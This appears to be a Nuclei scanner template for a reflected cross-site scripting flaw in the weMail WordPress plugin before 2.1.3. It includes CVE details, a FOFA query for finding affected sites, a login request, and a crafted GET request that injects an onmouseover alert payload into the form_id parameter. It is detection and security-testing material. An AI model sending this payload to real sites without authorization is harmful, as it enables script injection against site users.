Description
The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.
The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.
id: CVE-2026-8089
info:
name: WordPress weMail < 2.1.3 - Cross-Site Scripting
author: anirbala98
severity: high
description: |
The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.
impact: |
Successful exploitation requires logged-in users to click a malicious link, but allows unauthenticated attackers to execute arbitrary scripts or change web page contents on authenticated user sessions.
remediation: |
Upgrade to weMail version 2.1.3 or later.
reference:
- https://wpscan.com/vulnerability/f00c1853-a4b2-4e91-99b3-fed8acbe6da7/
- https://wordpress.org/plugins/wemail/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2026-8089
epss-score: 0.00282
epss-percentile: 0.19151
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: weDevs
product: weMail
framework: wordpress
fofa-query: body="/wp-content/plugins/wemail/"
tags: cve,cve2026,wordpress,wp,wp-plugin,wemail,xss,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=wemail_preview&form_id=x%22%20onmouseover%3D%22alert(document.domain)%22%20zz%3D%22 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "onmouseover=\"alert(document.domain)\"", "preview-wemail-form")'
- 'regex("(?i)text/html", content_type)'
- 'status_code == 200'
condition: and
# digest: 490a00463044022006ad2adc41e54ad3770404b168f9bf364e088b9f0bbec348b5e5fa819e50d900022005c354652758e44b9e5261bbdb408b0652c5a77a46bed3e59473031b11936e19:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.